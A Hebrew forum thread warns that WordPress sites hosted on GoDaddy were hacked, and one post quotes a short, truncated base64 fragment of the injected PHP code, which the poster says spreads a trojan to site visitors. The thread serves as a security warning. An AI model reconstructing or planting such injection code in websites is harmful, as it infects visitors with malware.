פריצה לשרתי GODADDY - סכנה לבעלי מערכות WordPress

[yonatan]

אולי חדשות ישנות , אבל חשוב לדעת.
אתמול נפרצו מספר שרתים של גודדי, האתרים שנפגעו הם אתרי WORDPRESS בלבד, מדובר בחור אבטחה במערכת WORDPRESS שמאפשר הכנסת קוד זדוני למערכת.

מידע נוסף:

http://blogcastfm.com/announcements/...-this-weekend/


קטע קוד שנמצא :

aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJE
dMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jd
Glvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgIC

לקוחות שמאוחסנים ב www.securehost.co.il לא נפגעו מההתקפה המדוברת כלל ( בוצעה בדיקה מקיפה לכלל השרתים ).

אנחנו ממליצים לכולם לעדכן לגירסא החדשה ביותר של WordPress.

[dani1001]

ידוע שהשרתים שלהם עם הגנות מהתחת
אני עדיין מתפלא שהם מצליחים להחזיק את הדומיינים אצלהם למרות שכל שני וחמישי פורצים להם לפאנל והפאנל מפסיק לעבוד והם אומרים תחזוקה...

[yonatan]

נכתב במקור על ידי dani1001

ידוע שהשרתים שלהם עם הגנות מהתחת
אני עדיין מתפלא שהם מצליחים להחזיק את הדומיינים אצלהם למרות שכל שני וחמישי פורצים להם לפאנל והפאנל מפסיק לעבוד והם אומרים תחזוקה...

זה לא כלכך נכון, המערך שרתים שלהם ממש טוב ביחס להמון חברות אחרות, הבעיה שלהם היא OVERSELLING , הם דוחפים לך 3000-4000 לקוחות על כל שרת ומכאן האיטיות המגעילה שלהם, חוץ מזה הפלטפורמה שלהם איכותית ביחס להמון אחרים.

[IgalSt]

נכתב במקור על ידי yonatan

אולי חדשות ישנות , אבל חשוב לדעת.
אתמול נפרצו מספר שרתים של גודדי, האתרים שנפגעו הם אתרי WORDPRESS בלבד, מדובר בחור אבטחה במערכת WORDPRESS שמאפשר הכנסת קוד זדוני למערכת.

מידע נוסף:

http://blogcastfm.com/announcements/...-this-weekend/


קטע קוד שנמצא :

aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJE
dMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jd
Glvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgIC

לקוחות שמאוחסנים ב www.securehost.co.il לא נפגעו מההתקפה המדוברת כלל ( בוצעה בדיקה מקיפה לכלל השרתים ).

אנחנו ממליצים לכולם לעדכן לגירסא החדשה ביותר של WordPress.

תודה יהונתן על העדכון.
מישהו מתנדב להסביר מה צירוף התווים הזה עושה בדיוק?

[TsAcH]

זה תוקן?

[yonatan]

נכתב במקור על ידי Exa.co.il

תודה יהונתן על העדכון.
מישהו מתנדב להסביר מה צירוף התווים הזה עושה בדיוק?

זה רק קטע קוד קטן הקוד המלא שמור אצלי מטעמי אבטחת מידע.
מה שהקוד עושה זה הזרקה של טרויאני זדוני לגולשי האתר.